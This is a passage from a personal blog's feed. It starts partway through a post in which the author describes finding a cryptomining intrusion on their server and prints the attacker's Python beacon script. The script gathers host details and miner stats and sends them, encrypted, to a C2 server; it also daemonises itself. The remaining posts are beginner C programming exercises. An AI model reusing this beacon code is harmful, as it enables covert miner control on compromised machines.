json.loads(resp.read().decode())</span><br><span class="line">        result[<span class="string">&quot;difficulty&quot;</span>] = data.get(<span class="string">&quot;connection&quot;</span>, &#123;&#125;).get(<span class="string">&quot;diff&quot;</span>, <span class="number">0</span>)</span><br><span class="line">        hr = data.get(<span class="string">&quot;hashrate&quot;</span>, &#123;&#125;).get(<span class="string">&quot;total&quot;</span>, [])</span><br><span class="line">        <span class="keyword">if</span> hr <span class="keyword">and</span> <span class="built_in">isinstance</span>(hr, <span class="built_in">list</span>) <span class="keyword">and</span> <span class="built_in">len</span>(hr) &gt; <span class="number">0</span>:</span><br><span class="line">            result[<span class="string">&quot;hashrate&quot;</span>] = hr[<span class="number">0</span>] <span class="keyword">if</span> hr[<span class="number">0</span>] <span class="keyword">else</span> (hr[<span class="number">1</span>] <span class="keyword">if</span> <span class="built_in">len</span>(hr) &gt; <span class="number">1</span> <span class="keyword">else</span> <span class="number">0</span>)</span><br><span class="line">        result[<span class="string">&quot;threads&quot;</span>] = data.get(<span class="string">&quot;cpu&quot;</span>, &#123;&#125;).get(<span class="string">&quot;threads&quot;</span>, <span class="number">0</span>)</span><br><span class="line">        <span class="keyword">if</span> <span class="keyword">not</span> result[<span class="string">&quot;threads&quot;</span>]:</span><br><span class="line">            <span class="keyword">try</span>:</span><br><span class="line">                url2 = <span class="string">f&quot;http://<span class="subst">&#123;api_cfg[<span class="string">&#x27;host&#x27;</span>]&#125;</span>:<span class="subst">&#123;api_cfg[<span class="string">&#x27;port&#x27;</span>]&#125;</span>/2/backends&quot;</span></span><br><span class="line">                req2 = urllib.request.Request(url2)</span><br><span class="line">                <span class="keyword">if</span> api_cfg.get(<span class="string">&quot;token&quot;</span>):</span><br><span class="line">                    req2.add_header(<span class="string">&quot;Authorization&quot;</span>, <span class="string">f&quot;Bearer <span class="subst">&#123;api_cfg[<span class="string">&#x27;token&#x27;</span>]&#125;</span>&quot;</span>)</span><br><span class="line">                resp2 = urllib.request.urlopen(req2, timeout=<span class="number">5</span>)</span><br><span class="line">                backends = json.loads(resp2.read().decode())</span><br><span class="line">                <span class="keyword">for</span> b <span class="keyword">in</span> backends:</span><br><span class="line">                    threads = b.get(<span class="string">&quot;threads&quot;</span>, [])</span><br><span class="line">                    <span class="keyword">if</span> threads:</span><br><span class="line">                        result[<span class="string">&quot;threads&quot;</span>] = <span class="built_in">len</span>(threads)</span><br><span class="line">                        <span class="keyword">break</span></span><br><span class="line">            <span class="keyword">except</span>: <span class="keyword">pass</span></span><br><span class="line">    <span class="keyword">except</span>: <span class="keyword">pass</span></span><br><span class="line">    <span class="keyword">return</span> result</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_sysinfo</span>():</span><br><span class="line">    info = &#123;<span class="string">&quot;cpu_model&quot;</span>: <span class="string">&quot;unknown&quot;</span>, <span class="string">&quot;cpu_cores&quot;</span>: <span class="number">0</span>, <span class="string">&quot;ram_total&quot;</span>: <span class="string">&quot;unknown&quot;</span>, <span class="string">&quot;kernel&quot;</span>: <span class="string">&quot;unknown&quot;</span>, <span class="string">&quot;docker&quot;</span>: <span class="literal">False</span>&#125;</span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        <span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">&quot;/proc/cpuinfo&quot;</span>) <span class="keyword">as</span> f:</span><br><span class="line">            <span class="keyword">for</span> line <span class="keyword">in</span> f:</span><br><span class="line">                <span class="keyword">if</span> line.startswith(<span class="string">&quot;model name&quot;</span>):</span><br><span class="line">                    info[<span class="string">&quot;cpu_model&quot;</span>] = line.split(<span class="string">&quot;:&quot;</span>, <span class="number">1</span>)[<span class="number">1</span>].strip()</span><br><span class="line">                    <span class="keyword">break</span></span><br><span class="line">        info[<span class="string">&quot;cpu_cores&quot;</span>] = os.cpu_count() <span class="keyword">or</span> <span class="number">0</span></span><br><span class="line">    <span class="keyword">except</span>: <span class="keyword">pass</span></span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        <span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">&quot;/proc/meminfo&quot;</span>) <span class="keyword">as</span> f:</span><br><span class="line">            <span class="keyword">for</span> line <span class="keyword">in</span> f:</span><br><span class="line">                <span class="keyword">if</span> line.startswith(<span class="string">&quot;MemTotal&quot;</span>):</span><br><span class="line">                    kb = <span class="built_in">int</span>(line.split()[<span class="number">1</span>])</span><br><span class="line">                    info[<span class="string">&quot;ram_total&quot;</span>] = <span class="string">f&quot;<span class="subst">&#123;kb // <span class="number">1024</span>&#125;</span> MB&quot;</span></span><br><span class="line">                    <span class="keyword">break</span></span><br><span class="line">    <span class="keyword">except</span>: <span class="keyword">pass</span></span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        <span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">&quot;/proc/version&quot;</span>) <span class="keyword">as</span> f:</span><br><span class="line">            info[<span class="string">&quot;kernel&quot;</span>] = f.read().strip().split()[<span class="number">2</span>]</span><br><span class="line">    <span class="keyword">except</span>: <span class="keyword">pass</span></span><br><span class="line">    info[<span class="string">&quot;docker&quot;</span>] = os.path.exists(<span class="string">&quot;/.dockerenv&quot;</span>) <span class="keyword">or</span> os.path.exists(<span class="string">&quot;/run/.containerenv&quot;</span>)</span><br><span class="line">    <span class="keyword">return</span> info</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">derive_key</span>(<span class="params">key_str</span>):</span><br><span class="line">    <span class="keyword">return</span> hashlib.pbkdf2_hmac(<span class="string">&quot;sha256&quot;</span>, key_str.encode(), HB_SALT, HB_ITERS, dklen=<span class="number">32</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">send_hb</span>(<span class="params">worker_id, payload</span>):</span><br><span class="line">    <span class="keyword">import</span> urllib.request, ssl</span><br><span class="line">    dk = derive_key(HB_KEY)</span><br><span class="line">    pt = json.dumps(payload).encode()</span><br><span class="line">    nonce = os.urandom(<span class="number">12</span>)</span><br><span class="line">    ct = chacha20_poly1305_encrypt(dk, nonce, pt)</span><br><span class="line"></span><br><span class="line">    ctx = ssl.create_default_context()</span><br><span class="line">    ctx.check_hostname = <span class="literal">False</span></span><br><span class="line">    ctx.verify_mode = ssl.CERT_NONE</span><br><span class="line"></span><br><span class="line">    envelope = &#123;<span class="string">&quot;worker_id&quot;</span>: worker_id, <span class="string">&quot;data&quot;</span>: base64.b64encode(ct).decode(), <span class="string">&quot;v&quot;</span>: <span class="number">2</span>&#125;</span><br><span class="line">    headers = &#123;</span><br><span class="line">        <span class="string">&quot;Content-Type&quot;</span>: <span class="string">&quot;application/json&quot;</span>,</span><br><span class="line">        <span class="string">&quot;User-Agent&quot;</span>: <span class="string">&quot;Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36&quot;</span></span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    req = urllib.request.Request(</span><br><span class="line">        <span class="string">f&quot;<span class="subst">&#123;C2_URL&#125;</span>/api/heartbeat&quot;</span>,</span><br><span class="line">        data=json.dumps(envelope).encode(),</span><br><span class="line">        headers=headers,</span><br><span class="line">        method=<span class="string">&quot;POST&quot;</span></span><br><span class="line">    )</span><br><span class="line">    resp = urllib.request.urlopen(req, timeout=<span class="number">15</span>, context=ctx)</span><br><span class="line">    <span class="keyword">return</span> resp.status</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">main</span>():</span><br><span class="line">    signal.signal(signal.SIGHUP, signal.SIG_IGN)</span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        signal.signal(signal.SIGPIPE, signal.SIG_IGN)</span><br><span class="line">    <span class="keyword">except</span>: <span class="keyword">pass</span></span><br><span class="line"></span><br><span class="line">    worker_id = get_worker_id()</span><br><span class="line">    sysinfo = get_sysinfo()</span><br><span class="line">    api_cfg = get_xmrig_api_config()</span><br><span class="line">    hostname = get_hostname()</span><br><span class="line">    arch = get_arch()</span><br><span class="line">    os_plat = get_os_platform()</span><br><span class="line">    start_ts = <span class="built_in">int</span>(time.time())</span><br><span class="line"></span><br><span class="line">    <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            miner_alive = <span class="literal">False</span></span><br><span class="line">            <span class="keyword">try</span>:</span><br><span class="line">                <span class="keyword">for</span> pid_dir <span class="keyword">in</span> os.listdir(<span class="string">&quot;/proc&quot;</span>):</span><br><span class="line">                    <span class="keyword">if</span> <span class="keyword">not</span> pid_dir.isdigit(): <span class="keyword">continue</span></span><br><span class="line">                    <span class="keyword">try</span>:</span><br><span class="line">                        <span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">f&quot;/proc/<span class="subst">&#123;pid_dir&#125;</span>/cmdline&quot;</span>, <span class="string">&quot;rb&quot;</span>) <span class="keyword">as</span> f:</span><br><span class="line">                            cmdline = f.read().decode(errors=<span class="string">&quot;ignore&quot;</span>)</span><br><span class="line">                            <span class="keyword">if</span> <span class="string">&quot;migration&quot;</span> <span class="keyword">in</span> cmdline <span class="keyword">or</span> <span class="string">&quot;xmrig&quot;</span> <span class="keyword">in</span> cmdline <span class="keyword">or</span> <span class="string">&quot;.worker.json&quot;</span> <span class="keyword">in</span> cmdline:</span><br><span class="line">                                miner_alive = <span class="literal">True</span></span><br><span class="line">                                <span class="keyword">break</span></span><br><span class="line">                    <span class="keyword">except</span>: <span class="keyword">continue</span></span><br><span class="line">            <span class="keyword">except</span>: <span class="keyword">pass</span></span><br><span class="line"></span><br><span class="line">            <span class="comment"># Always re-read xmrig config when miner is alive (port/token may change)</span></span><br><span class="line">            <span class="keyword">if</span> miner_alive:</span><br><span class="line">                api_cfg = get_xmrig_api_config()</span><br><span class="line">            miner_stats = scrape_xmrig_api(api_cfg)</span><br><span class="line">            <span class="comment"># Retry with fresh config if scraping returned 0</span></span><br><span class="line">            <span class="keyword">if</span> miner_alive <span class="keyword">and</span> <span class="keyword">not</span> miner_stats.get(<span class="string">&#x27;hashrate&#x27;</span>):</span><br><span class="line">                api_cfg = get_xmrig_api_config()</span><br><span class="line">                miner_stats = scrape_xmrig_api(api_cfg)</span><br><span class="line">            state = <span class="string">&quot;MINING&quot;</span> <span class="keyword">if</span> miner_alive <span class="keyword">else</span> <span class="string">&quot;IDLE&quot;</span></span><br><span class="line"></span><br><span class="line">            payload = &#123;</span><br><span class="line">                <span class="string">&quot;worker_id&quot;</span>: worker_id,</span><br><span class="line">                <span class="string">&quot;type&quot;</span>: <span class="string">&quot;heartbeat&quot;</span>,</span><br><span class="line">                <span class="string">&quot;ts&quot;</span>: <span class="built_in">int</span>(time.time()),</span><br><span class="line">                <span class="string">&quot;hostname&quot;</span>: hostname,</span><br><span class="line">                <span class="string">&quot;arch&quot;</span>: arch,</span><br><span class="line">                <span class="string">&quot;os_platform&quot;</span>: os_plat,</span><br><span class="line">                <span class="string">&quot;state&quot;</span>: state,</span><br><span class="line">                <span class="string">&quot;hashrate&quot;</span>: miner_stats[<span class="string">&quot;hashrate&quot;</span>],</span><br><span class="line">                <span class="string">&quot;cpu_load&quot;</span>: get_cpu_load(),</span><br><span class="line">                <span class="string">&quot;mem_percent&quot;</span>: get_mem_percent(),</span><br><span class="line">                <span class="string">&quot;uptime_system&quot;</span>: get_uptime_system(),</span><br><span class="line">                <span class="string">&quot;uptime_miner&quot;</span>: <span class="built_in">int</span>(time.time()) - start_ts,</span><br><span class="line">                <span class="string">&quot;miner_alive&quot;</span>: miner_alive,</span><br><span class="line">                <span class="string">&quot;cpu_model&quot;</span>: sysinfo[<span class="string">&quot;cpu_model&quot;</span>],</span><br><span class="line">                <span class="string">&quot;cpu_cores&quot;</span>: sysinfo[<span class="string">&quot;cpu_cores&quot;</span>],</span><br><span class="line">                <span class="string">&quot;ram_total&quot;</span>: sysinfo[<span class="string">&quot;ram_total&quot;</span>],</span><br><span class="line">                <span class="string">&quot;kernel&quot;</span>: sysinfo[<span class="string">&quot;kernel&quot;</span>],</span><br><span class="line">                <span class="string">&quot;docker&quot;</span>: sysinfo[<span class="string">&quot;docker&quot;</span>],</span><br><span class="line">                <span class="string">&quot;threads&quot;</span>: miner_stats[<span class="string">&quot;threads&quot;</span>],</span><br><span class="line">                <span class="string">&quot;difficulty&quot;</span>: miner_stats[<span class="string">&quot;difficulty&quot;</span>],</span><br><span class="line">                <span class="string">&quot;version&quot;</span>: <span class="string">&quot;micro-3.3&quot;</span>,</span><br><span class="line">            &#125;</span><br><span class="line">            send_hb(worker_id, payload)</span><br><span class="line">        <span class="keyword">except</span>: <span class="keyword">pass</span></span><br><span class="line"></span><br><span class="line">        time.sleep(INTERVAL * random.uniform(<span class="number">0.8</span>, <span class="number">1.2</span>))</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        pid = os.fork()</span><br><span class="line">        <span class="keyword">if</span> pid &gt; <span class="number">0</span>:</span><br><span class="line">            os._exit(<span class="number">0</span>)</span><br><span class="line">        os.setsid()</span><br><span class="line">        pid = os.fork()</span><br><span class="line">        <span class="keyword">if</span> pid &gt; <span class="number">0</span>:</span><br><span class="line">            os._exit(<span class="number">0</span>)</span><br><span class="line">    <span class="keyword">except</span> OSError:</span><br><span class="line">        <span class="keyword">pass</span></span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        dn = os.<span class="built_in">open</span>(os.devnull, os.O_RDWR)</span><br><span class="line">        os.dup2(dn, <span class="number">0</span>); os.dup2(dn, <span class="number">1</span>); os.dup2(dn, <span class="number">2</span>)</span><br><span class="line">    <span class="keyword">except</span>: <span class="keyword">pass</span></span><br><span class="line">    main()</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>还特么收集系统信息，这是要准备个性化推送挖矿任务呢是吧。真是心机。<br>顶上还有类似加密算法的东西（应该就是）</p><p>另外还有一个<a href="https://baba-yaga[.]live/hb_micro.py.*I/1l">https://baba-yaga[.]live/hb_micro.py.*I/1l</a> 。打开看是一个类似登录页面的东西（讲真UI好像AI写的）<br><img src="https://i0.hdslb.com/bfs/mallup/mall/zw/zx/zwzx103w01x0113z12yzw2yxx22ww113.png"><br>大概长这样，我也不知道干啥的。一般嘿客这种作案工具整的会很安全吧，不知道。</p><p>哎，烦，所有东西重新搞。真是，我特么这么容易遭黑客。建个站被打，搭个服务被入侵。<br>人麻了，找时间再维护吧。顺便看看情况，实在不行密码我也改掉。</p>]]>
    </content>
    <id>https://www.b23.kim/details/88474c6ba398.html</id>
    <link href="https://www.b23.kim/details/88474c6ba398.html"/>
    <published>2026-03-17T14:20:00.000Z</published>
    <summary>
      <![CDATA[<p>好特么离谱，我被人给骇客了。<br>我这台服务器上跑了一堆东西，然后突然内存和CPU占用异常的高。我还以为自己代码bug了导致内存泄漏，然后疯狂GC(垃圾回收)导致CPU也拉高来着。</p>
<p>事实证明，没有那么简单。<br>在我收到腾讯云的告警邮件的时候，我还以为腾讯]]>
    </summary>
    <title>关于我服务器被嘿壳塞挖矿病毒了这件事</title>
    <updated>2026-03-17T17:25:14.474Z</updated>
  </entry>
  <entry>
    <author>
      <name>b23.kim</name>
    </author>
    <content>
      <![CDATA[<h1 id="回文数的判断"><a href="#回文数的判断" class="headerlink" title="回文数的判断"></a>回文数的判断</h1><p>首先第一个，<strong>回文数</strong><br>定义：正着念倒着念都一样的数。比如121。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line">main()</span><br><span class="line">&#123;</span><br><span class="line"><span class="type">int</span> num,copy,target=<span class="number">0</span>;</span><br><span class="line"><span class="built_in">scanf</span>(<span class="string">&quot;%d&quot;</span>,&amp;num);</span><br><span class="line">copy = num;</span><br><span class="line"><span class="keyword">while</span>(num != <span class="number">0</span>)</span><br><span class="line">&#123;</span><br><span class="line"><span class="type">int</span> digit= num % <span class="number">10</span>;</span><br><span class="line">target = target*<span class="number">10</span>+digit;</span><br><span class="line">num /= <span class="number">10</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(target == copy) <span class="built_in">printf</span>(<span class="string">&quot;is huiwen&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>核心思路是把输入数值颠倒过来，然后比较原来的和颠倒后的值是否相等。如果相等，那就是回文数。<br>其中关键的是如何把数字倒过来：<br>比如给到数据是123<br>首先取个位num % 10的余数是3（注意要新建一个变量存，千万别放原始数变量num里）。<br>然后把它当作目标，乘10变成30，把3推到首位，留出后续数字的空间（30里的那个0，代表下一个数目前还是0）<br>最后除以10，把原来的数个位消掉。这样回到开始取到的下一个个位就是2了。<br>循环往复，直到原始数被“耗光”(变成0)这样target里面装的就是我们颠倒后的数了。</p><p>因为我们需要和原来的数进行比较，所以在开始前我们需要先备份原数(copy = num)。</p><h1 id="水仙花数的判断"><a href="#水仙花数的判断" class="headerlink" title="水仙花数的判断"></a>水仙花数的判断</h1><p><strong>水仙花数</strong>其实就是给定一个数，每一位的位数次方的和为给定的数本身。<br>编程实现：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;math.h&gt;</span></span></span><br><span class="line">main()</span><br><span class="line">&#123;</span><br><span class="line"><span class="type">int</span> num,copy,copy2,target=<span class="number">0</span>,n=<span class="number">0</span>;</span><br><span class="line"><span class="built_in">scanf</span>(<span class="string">&quot;%d&quot;</span>, &amp;num);</span><br><span class="line">copy = num;</span><br><span class="line">copy2 = num;</span><br><span class="line"><span class="keyword">while</span>(copy != <span class="number">0</span>)</span><br><span class="line">&#123;</span><br><span class="line">copy /= <span class="number">10</span>;</span><br><span class="line">n++;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">while</span>(num != <span class="number">0</span>)</span><br><span class="line">&#123;</span><br><span class="line"><span class="type">int</span> digit = num % <span class="number">10</span>;</span><br><span class="line">target = target + <span class="built_in">pow</span>(digit, n);</span><br><span class="line">num /= <span class="number">10</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(copy2 == target) <span class="built_in">printf</span>(<span class="string">&quot;is shuixianhuashu&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这个比回文数那个要难上一点。核心思路是先算输入的数一共有多少位，再把每一位指数运算并相加，最后判断原数是不是等于操作完成的数。<br>计算位数其实就是删个位，然后计数器n累加，直到删光。这时候计数器n里的值就是输入数的位数了。<br>下面，还是之前的取个位算法，然后就是求方计算和。最后也是通过删个位来移动所操作的数的。</p><p>可以看到我们复制了两次输入的数值，是因为其中一份被拿来计算位数，另一份拿来比对了。</p><h1 id="素数判断"><a href="#素数判断" class="headerlink" title="素数判断"></a>素数判断</h1><p><strong>素数</strong>是一个大于1的数，除了它本身和1之外 不能再被任何其他数整除 的数。<strong>1不是素数</strong><br>编程实现：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line">main()</span><br><span class="line">&#123;</span><br><span class="line"><span class="type">int</span> num,i;</span><br><span class="line"><span class="built_in">scanf</span>(<span class="string">&quot;%d&quot;</span>, &amp;num);</span><br><span class="line"><span class="keyword">if</span>(!(num &lt;= <span class="number">1</span>))</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">for</span>(i=<span class="number">2</span>;i&lt;num;i++)</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">if</span>(num % i == <span class="number">0</span>)</span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;not sushu&quot;</span>);</span><br><span class="line"><span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;is sushu&quot;</span>);</span><br><span class="line">&#125; <span class="keyword">else</span> &#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;not sushu&quot;</span>);</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这里输入一个数，然后判断它如果不是1或者负的再进行判定，如果是1或者比1小那就不是素数，立刻结束；<br>判定过程是对比输入数小，比1大的数能不能和输入数整除(从2开始，2是最小的素数)。如果可以，那么不是素数；如果跑完了都没有能整除的那就是素数，否则就不是。</p><p>这里其实还有一个可以优化的点。如果输入的数足够大的话挨个遍历会慢，于是我们可以用sqrt(num)来求它的算术平方根。假如输入25，那五五二十五，跑到5就能知道它不是素数了，后面的就都无意义了，极大地减少了比对次数，节省蒜粒(算力)。</p><h1 id="单行文本输入"><a href="#单行文本输入" class="headerlink" title="单行文本输入"></a>单行文本输入</h1><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line">main()</span><br><span class="line">&#123;</span><br><span class="line"><span class="type">char</span> c,n=<span class="number">0</span>;</span><br><span class="line"><span class="type">int</span> flag=<span class="number">0</span>,start=<span class="number">1</span>;</span><br><span class="line"><span class="keyword">while</span>((c = getchar()) != <span class="string">&#x27;\n&#x27;</span>)</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">if</span>(c == <span class="string">&#x27; &#x27;</span>)&#123;</span><br><span class="line"><span class="keyword">if</span>(flag &amp;&amp; !start) &#123;</span><br><span class="line">n++;</span><br><span class="line">flag=<span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line">&#125; <span class="keyword">else</span> &#123;</span><br><span class="line">flag=<span class="number">1</span>;</span><br><span class="line"><span class="keyword">if</span>(start)</span><br><span class="line">&#123;</span><br><span class="line">start=<span class="number">0</span>;</span><br><span class="line">n++;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">if</span>(flag==<span class="number">0</span> &amp;&amp; n!=<span class="number">0</span>) n--;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;%d&quot;</span>,n);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这个程序的功能是输入一行文本，输出被空格隔开的“单词”数。<br>我用了两个标识位(flag和start)来进行状态判定实现的。<br>首先通过while获得一串字符，回车作为结束符。起始start变量为1表示刚开始键入文本。<br>循环内：<br>开头判断是空格，如果前面键入的是其他字符(flag==1)并且不在起始状态(防止开头敲一堆空格)就给计数器加一。<br>判断不是空格，是其他字符，设置标识位flag为1，判断如果是起始状态就把起始状态取消并给计数器加一(这里刚开始输入的是字符而不是空格，不做这一步会少统计一个)<br>直到输入换行，结束获取字符的循环。<br>在循环外，有一个边界判断。如果输入完字符后在末尾敲一个空格(flag=0)并 <strong>不再输入其他字符</strong> 再回车(退出循环)的话就会多统计一个(因为单词计数器增加是在敲空格的时候触发的，最后没有任何字符存在)。<br>于是在这里判断一个flag==0的时候把多的减回去就对了(前提是n不能为0，也就避开了开头连续空格导致减成负数的问题)。<br>应该会有更好的写法，这里只是我的想法。</p>]]>
    </content>
    <id>https://www.b23.kim/details/70139985e189.html</id>
    <link href="https://www.b23.kim/details/70139985e189.html"/>
    <published>2026-03-12T05:46:55.000Z</published>
    <summary>
      <![CDATA[<h1 id="回文数的判断"><a href="#回文数的判断" class="headerlink" title="回文数的判断"></a>回文数的判断</h1><p>首先第一个，<strong>回文数</strong><br>定义：正着念倒着念都一样的数。比如121。</p]]>
    </summary>
    <title>春考C语言的四大金刚：回文数、水仙花数、素数和单行文本的输入与判断</title>
    <updated>2026-03-12T05:56:47.337Z</updated>
  </entry>
  <entry>
    <author>
      <name>b23.kim</name>
    </author>
    <content>
      <![CDATA[<p>今天我在学校上晚自习，然后在机房里刷题。其中有一套C语言题最后一道编程题很有意思，简单记录一下。</p><p>记得那个题目是这样的：</p><blockquote><p>输入一本书的页码，第一天读40页，后续每天多读5页。问多少天能读完，最后一天读了多少页。</p></blockquote><p>这是一个很经典的应用题。标准写法应该是……呃我没看好像。<br>当时的我想要挑战不看答案，自己独立解题。就这样头脑风暴了10分钟以后，最终我“原创”出来了这么一套代码：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line">main()</span><br><span class="line">&#123;</span><br><span class="line">    <span class="type">int</span> pages,read=<span class="number">40</span>,i=<span class="number">1</span>;</span><br><span class="line">    <span class="built_in">scanf</span>(<span class="string">&quot;%d&quot;</span>,&amp;pages);</span><br><span class="line">    <span class="keyword">while</span>(pages &gt; <span class="number">0</span>)</span><br><span class="line">    &#123;</span><br><span class="line">        pages -= read;</span><br><span class="line">        read += <span class="number">5</span>;</span><br><span class="line">        i++;</span><br><span class="line">        <span class="keyword">if</span>(pages - read &lt;=<span class="number">0</span>) <span class="keyword">break</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;days=%d,  last=%d&quot;</span>,i,pages);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这太抽象了，可能只有我能看懂哈哈。<br>我来解释一下这到底是怎么回事：<br>1.首先，输入一本书的页数<br>2.当 要读的页数 大于零的情况下<br>3.剩余页数是当前页数减去今天读的页数<br>4.今天读的页数+5，预加载明天要读的页数<br>5.天数增加<br>我们把每一次的循环看作每一天所要执行的阅读任务，前面都看起来没问题是吧，奇怪的是如果只写那五步的话结果会出现一个负数。<br>就在我以为这样写根本行不通想要去找答案的时候，我才终于意识到可能是因为循环边界问题，在差点进入下一次不满足while条件的情况下多计算了一次导致减超。</p><p>于是我想出了一个很精妙的办法：<strong>在while里最后加一行预测明天的代码</strong>。这是最抽象的，也是整个代码里最神的地方。我的思路是既然知道一定会被减超，那我直接在最后检查明天会不会减超不就行了。如果下一天的阅读超过了整本书的页数（减出负数），直接退掉循环让它不会进入下一天。<br>在这之前，已经+5了，代表下一天的任务。而且pages在这之前已经被减完了，所以这里的pages和read变量都表示明天了，在明天(下一次循环)实际到来之前就预检，达到“预测”的目的。<br>（我不行了我都快被自己给说绕了）</p><p>另外你可能会注意到初始化赋值语句里的i=1那块。那为什么非得等于1，而不是0或者其他？<br>这里如果不加1的话最终计算出来的天数会少一天，因为是剩最后几页的时候预检明天了，明天并未真正到来（到来了会减超成负数）。所以需要初始化的时候把那一天给补回来。<br>最终pages被减的差不多了，就是最后那一天剩下的量了。</p><p>那话又说回来了，这里while循环的条件其实可以直接写true或1。表示时间可以无限增长，在无限的时间里做出有限操作这个逻辑依然是成立的，因为做完了就不做(break)了。<br>总之就这样，好好欣赏一下我的课上小设计吧。</p>]]>
    </content>
    <id>https://www.b23.kim/details/eb5ad4c3b4ae.html</id>
    <link href="https://www.b23.kim/details/eb5ad4c3b4ae.html"/>
    <published>2026-03-10T13:02:14.000Z</published>
    <summary>
      <![CDATA[<p>今天我在学校上晚自习，然后在机房里刷题。其中有一套C语言题最后一道编程题很有意思，简单记录一下。</p>
<p>记得那个题目是这样的：</p>
<blockquote>
<p>输入一本书的页码，第一天读40页，后续每天多读5页。问多少天能读完，最后一天读了多少页。</p>]]>
    </summary>
